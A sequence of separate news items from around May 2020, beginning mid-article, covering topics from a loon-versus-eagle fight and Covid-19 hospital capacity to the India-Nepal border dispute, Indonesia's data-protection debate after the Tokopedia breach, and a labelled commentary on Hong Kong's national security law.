'A loon's best weapon is its dagger-like bill, and it will often attack adversary loons by coming up from beneath the water's surface with its bill straight towards the other loon's sternum, or chest.

'Many adult loons have several healed-over sternal punctures from fights like these.'

D'Auria: 'A loon's best weapon is its dagger-like bill, and it will often attack adversary loons by coming up from beneath the water's surface with its bill straight towards the other loon's sternum, or chest'

No one witnessed the reported incident at Highland Lake (pictured), but a neighbor said she heard a lot of 'hullabaloo' the night before the eagle was found

The pathologist found that eagle's puncture wound is the same size as a loon's bill. Plus, the loon duckling had puncture wounds consistent with the eagle's talons.

Part of D'Auria's excitement about the finding is that such a case has never been documented before.

'We know conflicts between bald eagles and loons have soared in recent years as a result of the recovery of our eagle population,' wrote D'Auria.

'We are seeing more and more eagle predation on loon chicks and even adult loons.'

She added, 'Who would think a loon would stand a chance against such a powerful predator?'
Two cases were registered in Kyiv and one in Chernivtsi region

Three new Covid-19 cases were observed among border guards as the State Border Guard Service of Ukraine reported.

In the result of the testing of the military and employees of the State Border Guard Service of Ukraine for Covid-19, 37 positive polymerase chain reaction tests were observed. Particularly, in 24 hours, two new cases were confirmed in Kyiv and one more in Chernivtsi region, the message said.

13 employees of the State Border Guard Service of Ukraine have recovered; 24 still receive treatment, while five of them stay in the hospital. The medics observe another 200 border guard services workers, who contacted infected and stay in self-isolation.

Another 442 cases of infection with Covid-19 occurred in Ukraine on May 21. The overall number of the infected people in this country reached 20,148 people. There are 588 lethal cases in Ukraine. 6,585 patients recovered.
The publication of a restructured map of India demarcating the new Union Territories of Jammu and Kashmir and Ladakh in November 2019 had reopened old wounds in the Indo-Nepalese relationship, with Nepal protesting the representation of Kalapani as part of the Indian state of Uttarakhand. With the onset of COVID-19 and its evolution into a pandemic this Indo-Nepalese impasse appears to have been on the backburner. However, with the recent inauguration by the Indian Defence Minister of a new road stretching around 80 kilometres from Darchula in Uttarakhand to Lipulekh pass, the trijunction of the India-Nepal-China borders, seems to have resurrected the Indo-Nepalese dispute.

This border dispute is of significant antiquity dating back to the 1816 Treaty of Sugauli which states that all the land that lies east of the Mahakali river is part of Nepal. Consequently, Kathmandus claim over the disputed area lies in the fact that the territories of Lipulekh, Limpiyadhura and Kalapani fall south east to the alleged source of Mahakali.

India and Nepal have shared a long history of cooperation and have successfully in the past solved existing territorial ambiguities through diplomatic dialogue.

However, this remains disputed as what Nepal claims as the source of Mahakali, is actually just a stream called Lipu Gad which is one of its many tributaries that merge into Mahakali near the trijunction. Consequently, India has contested Nepals claims arguing that the area north of its actual source is not demarcated by these treaties. Furthermore, administrative and revenue records dating from the late 1800s prove that Kalapani was indeed part of Indias Pithoragarh district.

Notwithstanding this territorial dispute, India and Nepal have shared a long history of cooperation and have successfully in the past solved existing territorial ambiguities through diplomatic dialogue. In 1981, India and Nepal set up the Joint Technical Level Boundary Committee to demarcate their shared borders of over 1,850 kilometres and resolve any territorial disputes. This joint enterprise was largely successful with 98% of their border being delineated in 2007. Furthermore, both countries have ever since at several points agreed to establish high level bilateral mechanisms to deal with the remaining border disputes.

The Indian government has branded its road building exercise as essentially the new road to Kailash Mansarovar.

Consequently, questions do get raised about the significance of this particular border trijunction which seems to derail Indo-Nepalese relations at frequent intervals. The Indian government has branded its road building exercise as essentially the new road to Kailash Mansarovar. Kailash Mansarovar is a sacred site of pilgrimage which until now was only accessible through two long and difficult routes via either Nathu La or Nepal. The construction of this new road would be a major breakthrough for both the ease and the time taken for this pilgrimage.

Apart from the above, there are certain evident advantages for India in controlling this territory. Sino-Indian trade is expected to gain from the new road with enhanced connectivity. More important, this increased connectivity in border areas is critical for Indian strategic interests with the Standing Committee on Defence reporting in 2017 that adequate infrastructure along the borders is crucial to maintain peace with certain difficult neighbours.

The control of the Kalapani trijunction essentially provides India with a strategic advantage in case of an invasion as it is at an elevated position allowing Indian posts to monitor the Tibetan highland passes.

This strategic necessity is apparent with a Chinese official reportedly stated during the Doklam crisis of 2017 that if the PLA decided it could enter India with ease through other border trijunctions like Kalapani or Kashmir through Pakistan Occupied Kashmir. The control of the Kalapani trijunction essentially provides India with a strategic advantage in case of an invasion as it is at an elevated position allowing Indian posts to monitor the Tibetan highland passes. Indias anxieties regarding Chinese intentions for the Kalapani trijunction are reflected in the Indian army chief General Naravanes comment that Nepal may have raised these problems at the behest of someone else, hinting at a possible Chinese instigation. Though the Nepalese Prime Minister K.P. Oli has asserted that everything we do is self-guided, for many in India there remains an evident correlation between Chinese strategic objectives and the resurrected Nepalese claim of Kalapani.

Notwithstanding the historical trajectory of the Indo-Nepalese border controversy, the present Nepalese protest coincides with a rise of Sino-Indian border skirmishes in eastern Ladakh on the northern bank of Lake Pangong Tso on 5 May and near Naku La pass in the Sikkim sector on 10 May. Coincidentally, on 9 May, Nepal officially expressed its concern describing Indias inauguration of the new road to Lipulekh as a unilateral act imploring India to refrain from carrying out activity inside the territory of Nepal.

The present Nepalese protest coincides with a rise of Sino-Indian border skirmishes in eastern Ladakh on the northern bank of Lake Pangong Tso on 5 May and near Naku La pass in the Sikkim sector on 10 May.

The rise of this trust deficit between Nepal and India seems to stem from the reported Chinese interreference in Nepalese domestic affairs, particularly the support of the Nepalese communists for nearly a decade culminating in the formation of the New Communist Party (NCP). This perception of Nepal tilting towards China has only been exacerbated post the Indo-Nepalese border blockade of 2015 during the protests for a new Nepalese constitution.

This Indian concern has justifiably been reconfirmed with recent reports of a successful Chinese intervention in Nepal carried out in early May to save the NCP from an internal rift which threatened to split the ruling party. Nepal on the other hand, seems to be more focused on getting rid of the traditional big brother attitude of India. The perceived Indian unilateral actions have only caused Nepal to dig its heels in further and reduce the chances of a compromise with recent remarks by PM Oli mocking and questioning Indian foreign policy as Seemameva Jayate or Satyameva Jayate?

While India remains Nepals biggest trading partner, simple economic rationale is often superseded by domestic political compulsions and geopolitical equations.

Such comments by the Nepalese PM do need to be seen in the light of his waning popularity at the start of this year, with the expectation of a resurgence of domestic approval much like what he experienced during the Indo-Nepalese blockade of 2015. While India remains Nepals biggest trading partner, simple economic rationale is often superseded by domestic political compulsions and geopolitical equations.

The present inflection point in Indo-Nepalese border tensions has evolved into an awkward position where neither of the two states can realistically backdown without losing face. The Nepalese Prime Minister has made a series of public statements which have even further reduced his room to manoeuvre. Statements by PM Oli such as India virus seems more lethal than Chinese or Italian only further allude to the geopolitical collusion that may exist. A statement of this kind if made in India would have bought Nepali citizens to the streets.

India could perhaps use the Covid diplomacy to strengthen Indo-Nepalese relations and tide over this border dispute and deal with it at a later point when national tensions are reduced.

However, opportunity does appear in the present COVID-19 pandemic as both India and Nepal face common threats and both have to work together to manage the global health emergency. India has already provided Nepal with 30,000 testing kits and Nepal has publicly expressed its gratitude to India for it. India could perhaps use this Covid diplomacy to strengthen Indo-Nepalese relations and tide over this border dispute and deal with it at a later point when national tensions are reduced.

As a bigger regional power, it is incumbent upon India to make the first move and demonstrate its benevolence. New Delhi needs to rein in the present regional situation by building new joint border dispute mechanisms that are equipped to deal with current issues more efficiently. This would reaffirm Indias role as a responsible regional player which is both credible and does not ignore the concerns of its regional neighbours. But Nepali leadership should also realise that reckless attitude towards India, as shown by Prime Minister Oli through his recent statements, may not be the best way forward in reaching an amicable solution.

This article was published on ORF.
Copyright  2020 Albuquerque Journal

In the early days of the pandemic with reports of overwhelmed hospitals in Italy, Spain and New York, running out of protective equipment for frontline workers and uncertainty about testing were real fears in New Mexico.

But 10 weeks after the state reported its first case of coronavirus, New Mexico has so far managed to avoid such perils. Data suggests that New Mexico is in good shape in three major categories for keeping the virus at bay: intensive care unit hospital beds, personal protective equipment and testing capacity.

Still, Human Services Secretary Dr. David Scrase cautioned against using the data to stop social distancing or other protective measures. He likened such a move to a skydiver taking off the parachute 1,000 feet from the ground.

Remember that social distancing measures is really what is controlling the virus, he said during the governors briefing on Wednesday. Were not ready to completely reopen everything. We have to go slow. We have to look at data. We have to give ourselves a couple weeks.

State health officials said Thursday that 11 more New Mexicans have died from COVID-19, bringing the statewide death toll to 294. They also announced 163 additional cases of the virus, pushing the total to 6,472.

ICU capacity

There were some foreboding data concerning hospital space in New Mexico, which has fewer hospital beds than many other states.

The Kaiser Family Foundation reported in 2018 that New Mexico had 1.8 beds per 1,000 people, well under the national average of 2.4. Several nationwide analyses, including one by the Harvard Global Health Institute, said New Mexico was particularly at risk of being overwhelmed by a virus spike.

With that in mind, public health officials started planning for a crisis in March. Balloon Fiesta Park and the old Lovelace hospital on Gibson were eyed as potential sites to treat patients, possibly in a sort of Army-field-hospital style.

With the effective transmission rate in New Mexico coming down so far with all the social and public interventions that have happened, we dont project that being necessary in New Mexico at all, said Clay Holderman, the chief operations officer of Presbyterian Healthcare Services and a member of the states Medical Advisory Team.

Seven major hospitals throughout New Mexico were designated as hub hospitals to treat most COVID patients. And those facilities greatly expanded their ICU availability. And so far those contingency plans have offered more than enough space.

On Wednesday, there were 283 ICU patients throughout those seven hospitals, which includes COVID-19 and other types of patients.

Though those hospitals usually only have 230 ICU beds, they have been able to expand their ICU capacity to 460. There are also plans that, should the hospitals need to go into crisis mode because of a surge of patients, could create up to 614 ICU beds.

So far, Holderman said hospitals have expanded ICU capacity through such measures as making pre- and post-surgery rooms into ICU rooms.

At one point last week, the ICU capacity at the seven hub hospitals around the state ranged from 95% of normal at Eastern New Mexico Medical Center in Roswell to 129% at San Juan Regional Medical Center in Farmington. University of New Mexico Hospital was at 111% of normal and Presbyterian was at 108%, according to state data.

Weve actually done really well, said Patti Kelley, the chief nursing officer at UNMH.

A coordinated effort by hospital officials has allowed patients needing ICU beds to be spread out across the different facilities.

So far, because of the balanced approach between UNM, Presbyterian, Lovelace Health System and other regional hubs  we have tried to balance how many patients we all take at once so we dont overwhelm any particular facility, said Troy Greer, the CEO of Lovelace Medical Center. So thats allowed us to manage ICUs pretty well.

We have not come anywhere near crisis planning.

PPE

In the early days of the pandemic, the price for some protective equipment that usually cost about 10 cents each jumped up to $5 apiece in some cases, Holderman said.

You saw the supply chain act in some mercenary ways and we did pay premiums to secure stock for our staff, he said.

Personal protective equipment, or PPE, includes supplies like masks, gloves and gowns worn by doctors, nurses and other hospital employees who come in close contact with patients.

Such supplies were in high demand all over the world.

In Albuquerque, nurses and others at UNMH held a protest outside the hospital one morning in mid-April because they didnt know the size of the hospitals stockpile of protective equipment.

Hospital officials said there were concerns supplies would run out.

That was by far our biggest anxiety, our biggest fear, Holderman said.

But currently, many hospitals are reporting deep stockpiles of the equipment.

For example, at Lovelace, Greer said the hospital this week had a more than 30-day supply of gloves, nearly 60 days of surgical gowns and a whopping 366-day supply of N95 masks.

Lovelace is in very, very good shape, he said.

State officials reported on Wednesday that hospitals across the state are meeting their supply goals of protective gear.

The stockpiles were created through several initiatives.

Hospitals were careful about organizing patients to lengthen how long an employee could wear the equipment. Different vendors were found, along with ways to extend the life of the equipment. And hospitals delayed procedures so they wouldnt burn through supplies.

At UNMH, a PPE committee meets daily and has created guidelines to manage the equipment. Actions like wearing a surgical mask over an N95 mask are done to extend the life of the equipment.

You have to be flexible with COVID being so new across the world, said Kelley at UNMH. Were learning every day about how its transmitted and how we should keep people safe. So every day the PPE committee is looking at our usage and if theres a better way to do it.

Testing

New Mexico has the fifth highest per-capita coronavirus testing rate in the country, according to the Kaiser Family Foundation.

The state, including public and private labs, is able to process about 4,400 tests per day, according to the governors briefing. The state has set a goal of 5,000 tests a day.

Presbyterian and Lovelace in Albuquerque rolled out drive-through testing in mid-March.

Holderman said Presbyterian was initially taking about 200 samples to be tested for the virus per day. The hospital is now taking about 1,200, including mobile and in-patient testing.

New Mexico gets an A for testing, he said.

That said, there could be issues as the economy begins to reopen, he said. Testing can play a key role in monitoring the spread of the disease.

Theres some fear  that there may not be sufficient test kits or lab capacity depending on how the public responds. So there is some worry about backup and delay, he said. But clearly were in the top 10 states in the country for testing per capita and we are ramping up at a rate thats better than most.

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Linkedin Mardika Parama (The Jakarta Post) Jakarta  Fri, May 22, 2020 14:48 608 fc6853813033f564188675f8bd9a2300 1 Business Indonesia,cybersecurity,data-protection-bill,DPR,Tokopedia,Communications-and-Information-Ministry,ISO-standard Free

Calls for digital companies to implement stronger data protection measures are growing following recent reports of a data breach against Indonesias e-commerce unicorn Tokopedia.

Experts have argued that the data protection bill, which is currently being debated at the House of Representatives (DPR), should set a minimum-security standard for digital companies, as the current regulation does not stipulate the technicalities of data protection.

If we take a look at Government Regulation (PP) No.71, the government did not regulate the technicalities of data protection, IT expert Tony Seno Hartono said in an online discussion on April 20, referring to PP No.71/2019 on the implementation of electronic systems and transactions.

Tokopedia said its internal database had been breached by an unidentified party in March, resulting in a massive data leak of the personal information of more than 15 million users.

Communications and Information Minister Johnny G. Plate urged on May 15 companies to improve their cybersecurity systems following the breach, saying that the countrys digital economy was under attack.

While PP No.71/2019 does mandate digital service providers to ensure the safety of information and internal communication systems, Tony said it stopped short of setting a minimum safety standard for data protection.

He said digital companies should meet the requirements of the ISO27001 standard, which measures and evaluates information security management systems, in order to provide adequate data safety for their users.

If a company meets the ISO standard, the chance for a data breach becomes extremely small. Even if there is a breach, we could trace the breachs source and figure out what went wrong, he said.

However, in order to be certified for the standard, a digital company must hire a third-party security auditor to analyze its security system, which is not possible for small start-ups.

We are always striving to adopt the highest level of security. However, its very expensive for start-up companies to adopt ISO standards, Indonesia E-Commerce Associations (idEA) government relation manager Rofi Uddarojat said during the discussion.

Even if a company has received the certification or has an independent security auditor to routinely analyze its security system, Tony said many Indonesian companies did not improve their security systems in line with the audit results.

From my experience, many institutions ignore [audit results]. If theres a breach, I believe its not because the auditor missed the security gap but rather because their assessment was not followed up by the institutions, he said.

During the discussion, Rofi also criticized the draft of a Communications and Information Ministry regulation that follows PP No.17/2019, for bureaucratizing data placement.

While the PP gives companies the option to choose whether to store their data inside the country or abroad, Article 6 of the ministry regulation requires private companies to obtain a permit from the minister to store their data abroad, according to the latest draft released on March 10.

While we appreciate the PP for giving us the freedom to store our data inside the country or abroad, there seems to be an attempt at bureaucratization in the draft regulation, Rofi said.
The Perez Art Museum Miami, which is preparing to reopen on Sept. 1 with plans that include new digital ticketing, is feeling somewhat hamstrung. Were a place thats pretty community-centered and were proud of that, said Franklin Sirmans, the museums director. When there is a hurricane down here, we collect supplies to help distribute to people in need. And with this crisis, we havent been able to do the kind of things we feel go above and beyond.

But museums also see their role as a place to gather when people begin to venture out of their homes. Hopefully, the arts are going to lead the way, Mr. Weinberg said. People are really isolated right now and they want community. Museums are a place where they can at least be in spaces with people, but not right next to or on top of people.

They also want to get out of themselves and art can take you to other places, he continued. They need to be transported both physically and psychically.

These days, weaknesses can also become a strength. Mr. Tinterow  who used to work as a Met curator  does not have to worry about social distancing for droves of returning visitors, given his museums limited tourist traffic.

For eight years that Ive been in Houston, Ive been yearning for the crowds that I knew at the Metropolitan Museum of Art, he said. Now, for the first time, Im grateful that I dont have them.
(Photo by NOEL CELIS / AFP) (Photo by NOEL CELIS/AFP via Getty Images)/AFP via Getty Images

NEWTOWN  It was bad timing when 74-year-old Milton Williams beloved dog, Sugar, developed trouble breathing.

Not only was Williams struggling to pay for surgery to repair Sugars collapsed trachea, but Williams had no way to transport her to the veterinarian. The coronavirus crisis had rendered the Danbury man homebound.

My dog is my pride and joy. She is my life, Williams said. If I didnt have her, I dont know what I would do.

Then Williams heard from other seniors about a Newtown charity that helps the elderly who are struggling to care for their pets with donations of pet food and veterinary care.

The charity, founded to perpetuate the animal-loving spirit of slain Sandy Hook first-grader Catherine Violet Hubbard, stepped in to pay for Sugars veterinary bills and dog food.

The girls mother, Jennifer Hubbard, is the executive director of the Catherine Violet Hubbard Animal Sanctuary, which runs animal stewardship programs on a 34-acre site in Newtown.

Were humbled our support is offering comfort during this time of uncertainty, Hubbard said in a news release. (It) will remain steadfast in providing assistance for as long as needed to keep our most vulnerable safe at home with their beloved pets.

The charity, which is raising $10 million to build a veterinary clinic and a multipurpose education house on the sanctuary grounds, has donated 14,000 pet food meals to seniors in need as part of its Senior Paw Project.

The charity has also donated 3,800 pounds of pet food, to Bethel Community Food Pantry, FAITH Food Pantry of Newtown, Jericho Partnership in Danbury, New Milford Social Services, Greenwich Housing Authority, Nunnawalk Meadows, Newtown Social Services and Danbury Housing Authority, according to a release.

rryser@newstimes.com 203-731-3342
As the Congress' Karnataka unit petitioned the state election commission, urging it to hold gram panchayat elections and accused the government of the conspiring to "saffronise" panchayats, the poll body on Friday wrote to district administrations seeking opinion about conducting it amid COVID-19.

In a letter to Deputy Commissioners of districts, the state election panel has sought opinion regarding holding panchayat polls amid COVID-19 crisis and also as electoral roll needs to be prepared and reservation has to be allocated as per the new amendments.

According to sources, the government has planned to postpone the polls to 6,025 gram panchayats in the state because of the prevailing COVID-19 situation and instead have administrative committees to govern the panchayats, until the polls are held.

The Congress raising apprehension about having such administrative committees, has accused the government of conspiring to have ruling BJP workers as its members.

A delegation comprising Leader of the Opposition Siddaramaiah, KPCC president-designate D K Shivakumar and a host of Congress leaders today submitted a petition to State Election Commissioner B Basavaraju and urged the Commission to hold elections.

"The government was conspiring to postpone panchayat electrons citing COVID-19 as the pretext. It (government) is there by trying to violate the constitution and Panchayat Raj Act," Siddaramaiah told reporters after meeting the Commissioner.

Stating that the term of panchayat is five years from the date of its first meeting, he said, "it cannot be exceeded, government has no powers... by now election process had to start, which has not been done yet."



Siddaramaiah pointed out that the reason for Congress' doubt was due to repeated statements by Rural Development and Panchayat Raj Minister K S Eshwarappa that election will be postponed and in the place of panchayat members a committee will be set up by Deputy Commissioners and members will be nominated to it.

The Minister had also said that a cabinet decision has been taken in this regard after consulting the Advocate General and experts, he noted and said, "they (government) has no right, they cannot give directions to the state election commission, which is an autonomous body."



"We have urged the commission to conduct election... they have said that they will abide by the law and constitution," Siddaramaiah added.

Noting that panchayat elections are held with out party or symbols, D K Shivakumar accused the government of misusing power and said the government was planning to nominate ruling party members to administrative committees, and we wont allow it.

"You (BJP) cannot saffronise this (panchayat system)... if government misuses (election commission and officials) we will tell you in the days to come what we will do," he added.

The Congress has even suggested continuation of sitting panchayat members until the polls are held, instead of appointing administrative committees.

The tenure of 6,025 gram panchayats are to end on various dates from June 2020, and by August 2020 tenure of 5,800 gram panchayats will end, the state election commission's letter said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Marty Mone made his debut onto the Irish & UK music scene in 2014, with his single Hit The Diff amassing over 10 million views on YouTube, and its back with a new 2020 refresh.

Following the success of his debut single, Mone went on to produce 2 successful full-length albums, and his discography has brought him over 23 million YouTube views to date.

The successful single Truck & Roll which premiered in February 2020, and followed with a tour across New Zealand and Australia, Mone has announced an official re-release of his inaugural track, Hit The Diff.

Hit The Diff is widely regarded in Ireland as a Country Folk anthem and is the single that put Mone on the map. It became a viral sensation overnight, amassing over 4 million Spotify streams and 10 million YouTube views.

Five years later and the track is still packing out dancefloors on nights out in towns across the country, and someone even named a racehorse after the single. As a result, Marty has decided its time to give it the 2020 refresher it deserves.

He completely re-recorded and mastered 'Hit The Diff' adding a bigger mix of genres giving it a more rock EDM feel. The track will also feature a brand new music video.

Martys fame as a YouTube sensation is growing stronger by the day. With 4 songs with over 1 million views and a combined view on his channel of over 23.5 million, Marty shows no signs of slowing down.

'Hit the Diff (2020 Version)' is available for pre-sale now HERE, in the meantime, you can re-watch the original below:
Zhang Yesui, the spokesperson for the third session of the 13th National People's Congress, speaks during a video online press conference in Beijing a day before the opening ceremony of the NPC, on May 21, 2020. Zhang said the NPC will discuss a proposal for a national security law in Hong Kong at its annual session. (Leo Ramirez/AFP via Getty Images)

Hong Kong on the Brink, as Beijing Goes in for the Kill

Newly proposed national security laws threaten all that Hong Kong holds dear; the free world must act before its too late

Commentary

Three faceless bureaucrats from the National Peoples Congress filed into a nondescript conference room in Beijing on May 21.

There, in front of an assembled throng of journalists from state-owned media, they delivered what many pro-democracy activists in Hong Kong consider to be the death knell for the city, as if it were any other stultifyingly dull pronouncement on the economy: the unveiling of long-anticipated national security legislation that threatens Hong Kongs liberty, autonomy, and democracy like never before.

While the press conference only announced that the proposed national security laws were on the official agenda for discussion by the NPC, describing them as draft legislation on Hong Kong national security laws, their very mention means the legislations passage is a foregone conclusion. While under the Chinese Constitution, the NPC is the highest organ of state power, in practice, its a rubber-stamp parliament that only convenes once per yeara toothless legislature totally subservient to the Chinese Communist Partys top brass.

The details of the legislation are yet to be published, meaning their exact scope isnt yet known. However, its clear they will contain provisions similar to those set out in Article 23 of Hong Kongs mini-constitution, the Basic Law. Article 23 calls for the Hong Kong government to enact legislation to prohibit any act of treason, secession, sedition, or subversion against the Central Peoples Governmentlaws that to date havent been enacted in Hong Kong, unlike in mainland China.

What also is certain is that the language contained within the legislationas with the concepts of sedition and treason in Article 23will be intentionally ambiguous. Thats to ensure that the interpretation of any new national security legislation in Hong Kong can be changed at any time to charge and jail more pro-democracy supporters, as Beijing pleases.

Just last week, 15 high-profile pro-democracy activists were arrested and charged in a clearly politicized move by the government. Under the proposed legislation, they would highly likely face additional charges under new national security laws.

While Hong Kongs judicial independence remains relatively unscathed from years of wide-ranging overreach from Beijing in other internal affairs, the power of final interpretation on constitutional questions lies not in any of Hong Kongs institutions, but in the NPC Standing Committee in Beijing. That constitutes a serious flaw in Hong Kongs legal system, and an easy avenue for Beijing to interfere in what pro-democracy supporters believe should be matters dealt with exclusively in Hong Kong.

The fact that Beijing has unveiled the plans in the middle of an international pandemic is no accident. Despite having extremely low numbers of coronavirus cases for some weeks, Hong Kong is still subject to a ban on groups of more than eight people. That, coupled with the publics reluctance to join mass protests due to fears of coronavirus transmission, means Beijing may have just played a master stroke. While the legislation constitutes a massive gamble by Beijing, they couldnt have picked a better time to do it than now.

The fury sparked by the proposals means an escalation in violent tactics used by front-line protestors is all but certain. Although mass protests wont immediately resume until the pandemic has subsided, the stage is set for an as-yet unprecedented series of confrontations in the run-up to critical Legislative Council elections in September, a poll many view as being a referendum on the future of the city.

LegCo Elections

The challenge the pro-democracy camp faces in September is daunting. Even amid widespread public support for the protests, only 40 of Hong Kongs 70 Legislative Council (LegCo) seats are directly elected by the public, with the remainder selected mainly by business interests. Thus, gaining a majority of seats is made extremely difficult for pro-democracy parties, but not impossible.

A LegCo majority would allow the pro-democracy camp to wreak havoc with the governments legislative agenda and even dismiss Chief Executive Carrie Lamif two consecutive budgets are rejected by a majority of members. This would be certain to happen under a Democrat-controlled LegCo. We can only wait for the results.

However, the proposed laws also threaten to throw the elections into chaos. Previous elections have seen mass disqualifications of pro-democracy candidates, and Beijings move is a strong indication it will seek to do that again.

This is in spite of recent court rulings, the most recent being from May 21, which have overturned previous disqualifications of candidates hostile to Beijing as unlawful. Whether Beijing will look to disqualify candidates on the basis of new national security laws or existing legislation remains to be seen.

International Response

The response to the proposals by the international community is of critical importance. U.S. Secretary of State Mike Pompeo has described them as disastrous, adding that they would be a death knell for the high degree of autonomy Beijing promised for Hong Kong under the Sino-British Joint Declaration.

Immediately after the news broke, President Donald Trump stated that the U.S. would respond very strongly if Beijing presses on with the legislations implementation.

The obvious step for the United States to take if the administration, as seems likely, looks to move beyond words of condemnation would be to rescind the special trade status Hong Kong enjoys under successive Acts of Congress, including the 1992 Hong Kong Policy Act and the 2019 Hong Kong Human Rights and Democracy Act.

Under that legislation, Hong Kong is treated separately from mainland China for the purposes of trade and commerce, on the basis that it enjoys a high degree of autonomy. Now that this autonomy will be dramatically and possibly irrevocably eroded, Pompeo indicated the United States will be reviewing imminently whether to withdraw said status from Hong Kong.

Further acts of Congress that could follow in response to Beijings announcement may include a bill to make subject to Magnitsky sanctions Hong Kong and Chinese government officials judged to be responsible for the crackdown. Its likely that senators including Josh Hawley (R-Mo.), who announced on May 21 that he was filing a resolution to condemn Chinas attempt to violate its treaty commitments and strip Hong Kong of its liberties, will seek to pilot further legislation through Congress to punish Beijing.

The UK, which administered Hong Kong as a colony until 1997, issued only a muted statement noting the Foreign Office was monitoring the situation closely, a deeply disappointing response given the gravity of Beijings proposals.

The UK finds itself in a unique position, as hundreds of thousands of Hongkongers born prior to the handover in 1997 possess British National Overseas (BNO) citizenshipa form of British citizenship, but that doesnt give the holder the right to live or work in the UK.

Leading Conservative politicians have led calls for some time for BNO passport holders to be given full residency rights in the UK, a move that would likely be supported by the opposition Labour Party should the government seek to legislate for it in Parliament. This would likely spark an exodus of BNO passport holders to Britain, further deepening the chaos in Hong Kong.

Nonetheless, any such moves cant seriously alter the gravity of the situation Hong Kong finds itself in. The response to the noose tightening around Hong Kongs neck is likely to be ferociousthe city wont go down with a whimper. An escalation of violence, potentially causing the city to descend into becoming ungovernable, is possible. All bets would be off in such a situation.

As to giving a true sense of the rage that Beijings move has sparked, one cannot but be reminded of the famous Trump quote, later the title of Michael Wolffs book on the administration: fire and fury like the world has never seen.

Jack Hazlewood is a student and activist based in London. He previously worked for a localist political party in Hong Kong and served as a field producer for the conflict journalism outlet Popular Fronts documentary Add Oil, which followed frontline protesters in Hong Kong in the run-up to Chinas national day in 2019.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
Technavio has been monitoring the K-12 blended E-learning market and it is poised to grow by USD 12.27 billion during 2020-2024, progressing at a CAGR of almost 14% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200521005645/en/

Technavio has announced its latest market research report titled Global K-12 Blended E-Learning Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. D2L Corp., Docebo Inc., Houghton Mifflin Harcourt Co., Instructure Inc., K12 Inc., Pearson Plc, Promethean Ltd., Providence Equity Partners LLC, Scholastic Corp., and Think Learn Pvt. Ltd. are some of the major market participants. The need for cost-effective teaching model will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Need for cost-effective teaching model has been instrumental in driving the growth of the market.

K-12 blended E-learning Market 2020-2024: Segmentation

K-12 blended E-learning Market is segmented as below:

Product Hardware Content System Solutions Others

Geography North America APAC Europe South America MEA



To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43632

K-12 blended E-learning Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our K-12 blended E-learning market report covers the following areas:

K-12 blended E-learning Market Size

K-12 blended E-learning Market Trends

K-12 blended E-learning Market Industry Analysis

This study identifies need for SCORM-compliant content as one of the prime reasons driving the K-12 blended E-learning market growth during the next few years.

K-12 blended E-learning Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the K-12 blended E-learning market, including some of the vendors such as D2L Corp., Docebo Inc., Houghton Mifflin Harcourt Co., Instructure Inc., K12 Inc., Pearson Plc, Promethean Ltd., Providence Equity Partners LLC, Scholastic Corp., and Think Learn Pvt. Ltd. Backed with competitive intelligence and benchmarking, our research reports on the K-12 blended E-learning market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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K-12 blended E-learning Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist K-12 blended E-learning market growth during the next five years

Estimation of the K-12 blended E-learning market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the K-12 blended E-learning market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of K-12 blended E-learning market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Value chain analysis

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 2024

Five Forces Analysis

Five forces summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Product

Market segments

Comparison by Product

Hardware Market size and forecast 2019-2024

Content Market size and forecast 2019-2024

System Market size and forecast 2019-2024

Solutions Market size and forecast 2019-2024

Others Market size and forecast 2019-2024

Impact of COVID-19 pandemic on the market

Market opportunity by Product

Customer Landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

North America Market size and forecast 2019-2024

APAC Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Impact of COVID-19 pandemic globally

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Overview

Vendor landscape

Landscape disruption

Vendor Analysis

Vendors covered

Market positioning of vendors

D2L Corp.

Docebo Inc.

Houghton Mifflin Harcourt Co.

Instructure Inc.

K12 Inc.

Pearson Plc

Promethean Ltd.

Providence Equity Partners LLC

Scholastic Corp.

Think Learn Pvt. Ltd.

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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For 11-year-old Ballywilliam girl Gemma Doyle, the Covid-19 restrictions mean she can't visit with her grandparents in New Ross, so she wrote to Taoiseach Leo Varadkar asking when this can be possible.

The Rathgarogue NS pupil from Ballygalvert is missing Maurice and Joanie, who she normally visits every second day at their home in Dowsley's Barn. Ever since Friday, March 13, the visits are less frequent and mean she has to stay in her mother Susie's car and wave and chat with them from afar.

On Wednesday Gemma was thrilled to receive a letter from Mr Varadkar in which he called her a hero and thanked her for writing to him, saying it was very nice of her.

